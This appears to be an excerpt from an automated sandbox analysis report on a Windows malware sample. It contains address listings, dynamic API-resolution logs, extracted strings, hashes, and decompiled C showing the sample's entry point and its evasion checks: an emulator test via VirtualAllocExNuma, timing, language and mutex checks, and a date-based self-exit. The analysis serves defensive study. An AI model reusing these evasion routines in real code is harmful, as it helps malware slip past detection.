0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(73B60000,007175E0), ref: 0040C4BD
GetProcAddress.KERNEL32(73B60000,00717460), ref: 0040C4D5
GetProcAddress.KERNEL32(73B60000,00714920), ref: 0040C4EE
GetProcAddress.KERNEL32(73B60000,00717628), ref: 0040C506
GetProcAddress.KERNEL32(73B60000,007175C8), ref: 0040C51E
GetProcAddress.KERNEL32(73B60000,00717640), ref: 0040C537
GetProcAddress.KERNEL32(73B60000,007176A0), ref: 0040C54F
GetProcAddress.KERNEL32(73B60000,00717538), ref: 0040C567
GetProcAddress.KERNEL32(73B60000,007176E8), ref: 0040C580
GetProcAddress.KERNEL32(73B60000,00717700), ref: 0040C598
GetProcAddress.KERNEL32(73B60000,007174D8), ref: 0040C5B0
GetProcAddress.KERNEL32(73B60000,007174F0), ref: 0040C5C9
GetProcAddress.KERNEL32(73B60000,00717508), ref: 0040C5E1
GetProcAddress.KERNEL32(73B60000,00714760), ref: 0040C5F9
GetProcAddress.KERNEL32(73B60000,007177D8), ref: 0040C612
GetProcAddress.KERNEL32(73B60000,00714780), ref: 0040C62A
GetProcAddress.KERNEL32(73B60000,00716D30), ref: 0040C642
GetProcAddress.KERNEL32(73B60000,007177F0), ref: 0040C65B
GetProcAddress.KERNEL32(73B60000,00714940), ref: 0040C673
GetProcAddress.KERNEL32(73B60000,00717748), ref: 0040C68B
GetProcAddress.KERNEL32(73B60000,00714980), ref: 0040C6A4
GetProcAddress.KERNEL32(73B60000,00717778), ref: 0040C6BC
GetProcAddress.KERNEL32(73B60000,00717808), ref: 0040C6D4
GetProcAddress.KERNEL32(73B60000,00717760), ref: 0040C6ED
GetProcAddress.KERNEL32(73B60000,007177A8), ref: 0040C705
GetProcAddress.KERNEL32(73B60000,00714A80), ref: 0040C71D
GetProcAddress.KERNEL32(73B60000,00717790), ref: 0040C736
GetProcAddress.KERNEL32(73B60000,007177C0), ref: 0040C74E
GetProcAddress.KERNEL32(73B60000,00717B20), ref: 0040C766
GetProcAddress.KERNEL32(73B60000,00714A40), ref: 0040C77F
GetProcAddress.KERNEL32(73B60000,00717940), ref: 0040C797
GetProcAddress.KERNEL32(73B60000,00717AC0), ref: 0040C7AF
GetProcAddress.KERNEL32(73B60000,007178B0), ref: 0040C7C8
GetProcAddress.KERNEL32(73B60000,00717928), ref: 0040C7E0
GetProcAddress.KERNEL32(73B60000,00717958), ref: 0040C7F8
GetProcAddress.KERNEL32(73B60000,00714B20), ref: 0040C811
GetProcAddress.KERNEL32(73B60000,00714B00), ref: 0040C829
GetProcAddress.KERNEL32(73B60000,00717868), ref: 0040C841
GetProcAddress.KERNEL32(73B60000,007179A0), ref: 0040C85A
GetProcAddress.KERNEL32(73B60000,00714E60), ref: 0040C872
GetProcAddress.KERNEL32(73B60000,00716FD8), ref: 0040C88A
GetProcAddress.KERNEL32(73B60000,00717AD8), ref: 0040C8A3
GetProcAddress.KERNEL32(73B60000,00717970), ref: 0040C8BB
GetProcAddress.KERNEL32(73B60000,00714E00), ref: 0040C8D3
GetProcAddress.KERNEL32(73B60000,00714DA0), ref: 0040C8EC
GetProcAddress.KERNEL32(73B60000,00714DE0), ref: 0040C904
GetProcAddress.KERNEL32(73B60000,00717A78), ref: 0040C91C
GetProcAddress.KERNEL32(73B60000,00714D00), ref: 0040C935
GetProcAddress.KERNEL32(73B60000,007179D0), ref: 0040C94D
GetProcAddress.KERNEL32(73B60000,00714E80), ref: 0040C965
GetProcAddress.KERNEL32(73B60000,00714C00), ref: 0040C97E
GetProcAddress.KERNEL32(73B60000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(73B60000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(73B60000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(73B60000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(73B60000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(00717610,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(00717478,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNELBASE(00717718,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(00717658,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(00717568,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(00717490,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(00717598,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNELBASE(007174A8,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(00717670,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(007174C0,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(00717688,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(00717520,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(007176D0,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(770B0000,00715790), ref: 0040CAF6
GetProcAddress.KERNEL32(770B0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(770B0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6F6F0000,007179E8), ref: 0040CB49
GetProcAddress.KERNEL32(6F6F0000,00714BE0), ref: 0040CB61
GetProcAddress.KERNEL32(6F6F0000,00714EA0), ref: 0040CB79
GetProcAddress.KERNEL32(6F6F0000,00714BA0), ref: 0040CB92
GetProcAddress.KERNEL32(6F6F0000,00717AF0), ref: 0040CBAA
GetProcAddress.KERNEL32(6F6F0000,00714D20), ref: 0040CBC2
GetProcAddress.KERNEL32(6F6F0000,00714B80), ref: 0040CBDB
GetProcAddress.KERNEL32(6F6F0000,00714BC0), ref: 0040CBF3
GetProcAddress.KERNEL32(6F6F0000,00714C20), ref: 0040CC0B
GetProcAddress.KERNEL32(6F6F0000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(745C0000,00717988), ref: 0040CC47
GetProcAddress.KERNEL32(745C0000,007179B8), ref: 0040CC60
GetProcAddress.KERNEL32(745C0000,00714E20), ref: 0040CC78
GetProcAddress.KERNEL32(745C0000,00714DC0), ref: 0040CC90
GetProcAddress.KERNEL32(745C0000,00717B38), ref: 0040CCA9
GetProcAddress.KERNEL32(745C0000,007157B0), ref: 0040CCC1
GetProcAddress.KERNEL32(745C0000,00714C40), ref: 0040CCD9
GetProcAddress.KERNEL32(745C0000,00714B40), ref: 0040CCF2
GetProcAddress.KERNEL32(745C0000,00717B08), ref: 0040CD0A
GetProcAddress.KERNEL32(745C0000,00717850), ref: 0040CD22
GetProcAddress.KERNEL32(745C0000,00717A48), ref: 0040CD3B
GetProcAddress.KERNEL32(73AE0000,00717A60), ref: 0040CD60
GetProcAddress.KERNEL32(73AE0000,00714E40), ref: 0040CD78
GetProcAddress.KERNEL32(73AE0000,00717A18), ref: 0040CD91
GetProcAddress.KERNEL32(73AE0000,00714B60), ref: 0040CDA9
GetProcAddress.KERNEL32(73AE0000,00717A90), ref: 0040CDC1
GetProcAddress.KERNEL32(73AE0000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76990000,00717880), ref: 0040CDFD
GetProcAddress.KERNEL32(76990000,00717AA8), ref: 0040CE16
GetProcAddress.KERNEL32(76990000,00714C60), ref: 0040CE2E
GetProcAddress.KERNEL32(76990000,00714C80), ref: 0040CE46
GetProcAddress.KERNEL32(76990000,00717898), ref: 0040CE5F
GetProcAddress.KERNEL32(76990000,00715670), ref: 0040CE77
GetProcAddress.KERNEL32(76990000,007178C8), ref: 0040CE8F
GetProcAddress.KERNEL32(76990000,00717A30), ref: 0040CEA8
GetProcAddress.KERNEL32(76990000,007178F8), ref: 0040CEC0
GetProcAddress.KERNEL32(76990000,007178E0), ref: 0040CED8
GetProcAddress.KERNEL32(76990000,00715760), ref: 0040CEF1
GetProcAddress.KERNEL32(76990000,00714CA0), ref: 0040CF09
GetProcAddress.KERNEL32(76990000,00717910), ref: 0040CF21
GetProcAddress.KERNEL32(76990000,00717A00), ref: 0040CF3A
GetProcAddress.KERNELBASE(6FC20000,00714F00), ref: 0040CF5B
GetProcAddress.KERNEL32(76600000,00714CC0), ref: 0040CF7C
GetProcAddress.KERNEL32(76AE0000,00714CE0), ref: 0040CF9E
GetProcAddress.KERNEL32(73870000,00716DF8), ref: 0040CFC3
GetProcAddress.KERNEL32(73870000,00714D40), ref: 0040CFDB
GetProcAddress.KERNEL32(73870000,00716E98), ref: 0040CFF4
GetProcAddress.KERNEL32(73870000,00714D60), ref: 0040D00C
GetProcAddress.KERNEL32(73870000,00716EE8), ref: 0040D024
GetProcAddress.KERNEL32(73870000,00717B50), ref: 0040D03D
GetProcAddress.KERNEL32(6E6E0000,00717C88), ref: 0040D062
GetProcAddress.KERNEL32(6E6E0000,00717CE8), ref: 0040D07A
GetProcAddress.KERNEL32(6E6E0000,00714D80), ref: 0040D093
GetProcAddress.KERNEL32(6E6E0000,006FA808), ref: 0040D0AB
GetProcAddress.KERNEL32(6E6E0000,00718698), ref: 0040D0C3
GetProcAddress.KERNEL32(6E6E0000,00717DC0), ref: 0040D0DC
GetProcAddress.KERNEL32(76550000,00717D18), ref: 0040D0FD
GetProcAddress.KERNEL32(76550000,007156F0), ref: 0040D115
GetProcAddress.KERNEL32(76550000,00717DD8), ref: 0040D12E
GetProcAddress.KERNEL32(750F0000,00718478), ref: 0040D14F
GetProcAddress.KERNEL32(750F0000,00717D60), ref: 0040D167
GetProcAddress.KERNEL32(73130000,00716E48), ref: 0040D18D
GetProcAddress.KERNEL32(73130000,00718778), ref: 0040D1A5
GetProcAddress.KERNEL32(73130000,00716F38), ref: 0040D1BD
GetProcAddress.KERNEL32(73130000,00717CA0), ref: 0040D1D6
GetProcAddress.KERNEL32(73130000,00717D00), ref: 0040D1EE
GetProcAddress.KERNEL32(73130000,007186B8), ref: 0040D206
GetProcAddress.KERNEL32(73130000,00718578), ref: 0040D21F
GetProcAddress.KERNEL32(73130000,00717CD0), ref: 0040D237
GetProcAddress.KERNEL32(76610000,00718798), ref: 0040D258
GetProcAddress.KERNEL32(76610000,007187B8), ref: 0040D271
GetProcAddress.KERNEL32(6E7A0000,00717E20), ref: 0040D292

Strings

Pxq, xrefs: 0040CD15
yq, xrefs: 0040CB3B
8uq, xrefs: 0040C55A
hxq, xrefs: 0040C834
uq, xrefs: 0040C4B0
SetEnvironmentVariableA, xrefs: 0040C9B6
8oq, xrefs: 0040D1B0
0mq, xrefs: 0040C635
pyq, xrefs: 0040C8AE
(vq, xrefs: 0040C4F9
RegGetValueA, xrefs: 0040CDCC
`Lq, xrefs: 0040CE21
@Iq, xrefs: 0040C666
@Jq, xrefs: 0040C771
`Gq, xrefs: 0040C5EC
@yq, xrefs: 0040C78A
Nq, xrefs: 0040CC6B
CreateThread, xrefs: 0040C989
InternetCrackUrlA, xrefs: 0040CC16
(yq, xrefs: 0040C7D3
~q, xrefs: 0040D285
nq, xrefs: 0040D017
vq, xrefs: 0040C572
@Lq, xrefs: 0040CCCC
Xyq, xrefs: 0040C7EB
@Nq, xrefs: 0040CD6B
@Kq, xrefs: 0040CCE4
`tq, xrefs: 0040C4C8
pVq, xrefs: 0040CE6A
`Wq, xrefs: 0040CEE3
huq, xrefs: 0040CA41
memset, xrefs: 0040CB01
{q, xrefs: 0040C759
Mq, xrefs: 0040CBB5
pvq, xrefs: 0040CA87
lstrcpyA, xrefs: 0040C9CD
Hwq, xrefs: 0040C67E
xzq, xrefs: 0040C90F
`wq, xrefs: 0040C6DF
Lq, xrefs: 0040CF90
Hzq, xrefs: 0040CD2D
0zq, xrefs: 0040CE9A
`Nq, xrefs: 0040C865
8{q, xrefs: 0040CC9B
Xvq, xrefs: 0040CA2F
xtq, xrefs: 0040CA0C
|q, xrefs: 0040D06D
`Kq, xrefs: 0040CD9C
Kq, xrefs: 0040C803
xq, xrefs: 0040CECB
P{q, xrefs: 0040D02F
`Mq, xrefs: 0040CFFF
GetEnvironmentVariableA, xrefs: 0040C99F
Iq, xrefs: 0040C4E0
uq, xrefs: 0040CABC
Hnq, xrefs: 0040D17F
@vq, xrefs: 0040C529
`zq, xrefs: 0040CD53
`}q, xrefs: 0040D15A
memcpy, xrefs: 0040CB18
lstrcpynA, xrefs: 0040C9E3
@Mq, xrefs: 0040CFCE
Lq, xrefs: 0040CBFE
xwq, xrefs: 0040C6AF
Kq, xrefs: 0040CB54
Mq, xrefs: 0040C8F7

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Iq$ Kq$ Lq$ Mq$ Nq$ uq$ {q$ ~q$(vq$(yq$0mq$0zq$8oq$8uq$8{q$@Iq$@Jq$@Kq$@Lq$@Mq$@Nq$@vq$@yq$CreateThread$GetEnvironmentVariableA$Hnq$Hwq$Hzq$InternetCrackUrlA$Pxq$P{q$RegGetValueA$SetEnvironmentVariableA$Xvq$Xyq$`Gq$`Kq$`Lq$`Mq$`Nq$`Wq$`tq$`wq$`zq$`}q$huq$hxq$lstrcpyA$lstrcpynA$memcpy$memset$pVq$pvq$pyq$xtq$xwq$xzq$Kq$Lq$Mq$nq$uq$vq$xq$yq$|q
API String ID: 2238633743-264757320
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x714720
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x7147c0
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,00714720), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Strings

Gq, xrefs: 00406977

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: Gq
API String ID: 2797641603-1597376410
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00700BA8), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,006FEC70), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,006FA8E8), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00700BC0), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00700C68), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00700B78), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00700C80), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00700C98), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,006FA888), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,006FA9C8), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00700D88,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00700B90,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73AE0000,00700D10), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,00714960,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007175E0), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00717460), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00714920), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00717628), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007175C8), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00717640), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007176A0), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00717538), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007176E8), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00717700), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007174D8), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007174F0), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00717508), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00714760), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007177D8), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00714780), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,00714720), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

